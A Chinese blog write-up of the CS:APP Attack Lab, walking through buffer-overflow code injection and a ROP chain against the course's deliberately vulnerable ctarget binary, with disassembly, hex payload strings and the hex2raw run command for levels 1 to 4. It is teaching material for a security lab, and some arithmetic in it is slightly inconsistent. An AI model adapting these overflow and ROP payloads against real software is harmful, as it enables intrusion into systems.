美文网首页
Attack Lab

Attack Lab

作者: WeroNG | 来源:发表于2018-04-11 21:38 被阅读0次

    Attack Lab

    参考文档
    参考博客

    //执行ctarget会进入并要利用的函数
    void test()
    {
        int val;
        val = getbuf();
        printf("No exploit.Getbuf returned 0x%x\n", val);
    }
    //getbuf的实现
    unsigned getbuf()
     {
       char buf[BUFFER_SIZE];
       Gets(buf);   /* 没有边界检查 */
       return 1;
     }
    

    objdump中getbuf的反汇编

      4017a8:   48 83 ec 28             sub    $0x28,%rsp
      4017ac:   48 89 e7                mov    %rsp,%rdi
      4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
      4017b4:   b8 01 00 00 00          mov    $0x1,%eax
      4017b9:   48 83 c4 28             add    $0x28,%rsp
      4017bd:   c3                      retq   
      4017be:   90                      nop
      4017bf:   90                      nop
    

    level 1

    目标:Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement,rather than returning to test

    所以我们需要在调用getbuf()的时候把返回地址覆盖成touch1()的入口地址。
    由于Gets()读取28个字节后就会将getbuf()的返回地址覆盖。
    objdump出touch1

    00000000004017c0 <touch1>:
      4017c0:   48 83 ec 08             sub    $0x8,%rsp
      4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
      4017cb:   00 00 00 
      4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
      4017d3:   e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
      4017d8:   bf 01 00 00 00          mov    $0x1,%edi
      4017dd:   e8 ab 04 00 00          callq  401c8d <validate>
      4017e2:   bf 00 00 00 00          mov    $0x0,%edi
      4017e7:   e8 54 f6 ff ff          callq  400e40 <exit@plt>
    

    得到应该在溢出区填充地址 00000000004017c0
    所以应该填充:

    (小端, 低位低地址,高位高地址)
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
    

    写在文件exploit.txt(附录A有工具hex2raw的使用方法)中, 然后运行命令:

    cat exploit.txt |./hex2raw | ./ctarget -q
    

    level 1就这样就完成了:


    p1

    level 2

    目标:Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case,however, you must make it appear to touch2 as if you have passed your cookie as its argument. 比level1多了一个要求,就是要传入自己的cookie来进行判断,显示出带有touch2的输出才是正确的。

    /* touch2 */
    void touch2(unsigned val)
    {
        vlevel = 2; /* Part of validation protocol */
        if (val == cookie) {
            printf("Touch2!: You called touch2(0x%.8x)\n", val);
            validate(2);
        } else {
            printf("Misfire: You called touch2(0x%.8x)\n", val);
            fail(2);
        }
        exit(0);
    }
    

    前面与level1同理,找出touch2()的入口地址:0x4017ec
    这里会注入一段代码,使得rdi携带参数cookie(下载的lab中有个cookie.txt文件):

    movq $0x59b997fa %rdi
    retq
    

    借助编译器以及objdump得到二进制指令:

    gcc -c level2.c
    objdump -d level2.o
       0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
       7:   c3                      retq
    

    直接利用28字节的缓冲区注入代码,所以这里应该要想办法得到数据栈的地址,利用gdb我们可以得到getbuf()数据栈顶的地址为0x5561dc78:

    p2

    所以我们把getbuf()的返回地址覆盖为数据栈顶的地址:
    所以有二进制编码:

    48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00
    

    getbuf()返回时会把rsp定位到0x5561dc78,当我们注入的代码调用retq时,又接着弹出地址0x5561dc80的数据,这次会定位到函数touch2()

    通过第四章知道:ret会把栈顶元素传送到rip,然后rsp+8

    5.png

    level 3

    目标:Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.

    • 可以看出基本与level2同理,只是要注意hexmatch可能会覆盖我们注入的代码
    /* 从代码中可以看出我们要返回分支touch3才是正确 */
    /* Compare string to hex represention of unsigned value */
    int hexmatch(unsigned val, char *sval)
    {
        char cbuf[110];
        /* Make position of check string unpredictable */
        char *s = cbuf + random() % 100;
        sprintf(s, "%.8x", val);
        return strncmp(sval, s, 9) == 0;
    }
    
    void touch3(char *sval)
    {
        vlevel = 3; /* Part of validation protocol */
        if (hexmatch(cookie, sval)) {
            printf("Touch3!: You called touch3(\"%s\")\n", sval);
            validate(3);
        } else {
            printf("Misfire: You called touch3(\"%s\")\n", sval);
            fail(3);
        }
        exit(0);
    }
    

    所以我们要把cookie(0x59b997fa)转化为字符串:
    35 39 62 39 39 37 66 61
    找出touch3的入口地址(0x4018fa):

    00000000004018fa <touch3>:
      4018fa:   53                      push   %rbx
      4018fb:   48 89 fb                mov    %rdi,%rbx
      4018fe:   c7 05 d4 2b 20 00 03    movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
      401905:   00 00 00 
      401908:   48 89 fe                mov    %rdi,%rsi
      40190b:   8b 3d d3 2b 20 00       mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
      401911:   e8 36 ff ff ff          callq  40184c <hexmatch>
      401916:   85 c0                   test   %eax,%eax
      401918:   74 23                   je     40193d <touch3+0x43>
      40191a:   48 89 da                mov    %rbx,%rdx
      40191d:   be 38 31 40 00          mov    $0x403138,%esi
      401922:   bf 01 00 00 00          mov    $0x1,%edi
      401927:   b8 00 00 00 00          mov    $0x0,%eax
      .......
    

    这里要计算一下注入的地址(与level2同理):

    • address为:0x5561dc78+0x28+0x8+0x8 = 0x5561dcb0

    要注入的汇编语句(利用rdi传递参数):

    movq $0x5561dcb0, %rdi
    retq
    
    #反汇编出来
    0000000000000000 <.text>:
       0:   48 c7 c7 b0 dc 61 55    mov    $0x5561dcb0,%rdi
       7:   c3                      retq
    

    所以我们的注入二进制为:

    48 c7 c7 b0 dc 61 55 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
    

    运行命令得到结果:

    6.png

    level 4

    It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located.
    It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault

    由于level4 和 level5开启了栈随机化和限制可执行代码区域(书上3.10.4),所以需要使用ROP攻击

    思路是利用pop %rdi,然后ret返回到touch2,但是不能直接找到这样的代码,不过可以间接找到两个:

    # 58   -->   pop rax%
    00000000004019a7 <addval_219>:
         4019a7:    8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
         4019ad:    c3                      retq   
    
    # 48 89 c7   -->   movl rax%, rdi%
    # 然后紧跟着nop(没有影响),retq
    00000000004019c3 <setval_426>:
         4019c3:    c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
         4019c9:    c3                      retq 
    

    求出两个要利用的地址:

    • addval_219: 0x4019a7 + 0x4 = 0x4019ab
    • setval_426: 0x4019c5 + 0x2 = 0x4019c5
      利用工具objdump反汇编出来touch2的地址0x4017ec
    00000000004017ec <touch2>:
      4017ec:   48 83 ec 08             sub    $0x8,%rsp
      4017f0:   89 fa                   mov    %edi,%edx
      4017f2:   c7 05 e0 3c 20 00 02    movl   $0x2,0x203ce0(%rip)        
      # 6054dc <vlevel>
      4017f9:   00 00 00 
      4017fc:   3b 3d e2 3c 20 00       cmp    0x203ce2(%rip),%edi        
      # 6054e4 <cookie>
      401802:   75 20                   jne    401824 <touch2+0x38>
      401804:   be 08 32 40 00          mov    $0x403208,%esi
      401809:   bf 01 00 00 00          mov    $0x1,%edi
      40180e:   b8 00 00 00 00          mov    $0x0,%eax
      ......
    

    分析完了,我们现在可以进行填充,这里首先还是采用28字节填充,然后填充第一个gadget的地址,使程序执行该地址处的指令pop %rax,这是栈指针位置处应该填上cookie,接着执行的ret会把cookie上面的栈值的地址处的指令传送到%rip,利用mov %rax, %rdi实现参数的传递,在利用ret使得程序定位到touch2()

    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
    
    7.png

    相关文章

      网友评论

          本文标题:Attack Lab

          本文链接:https://www.haomeiwen.com/subject/nixtkftx.html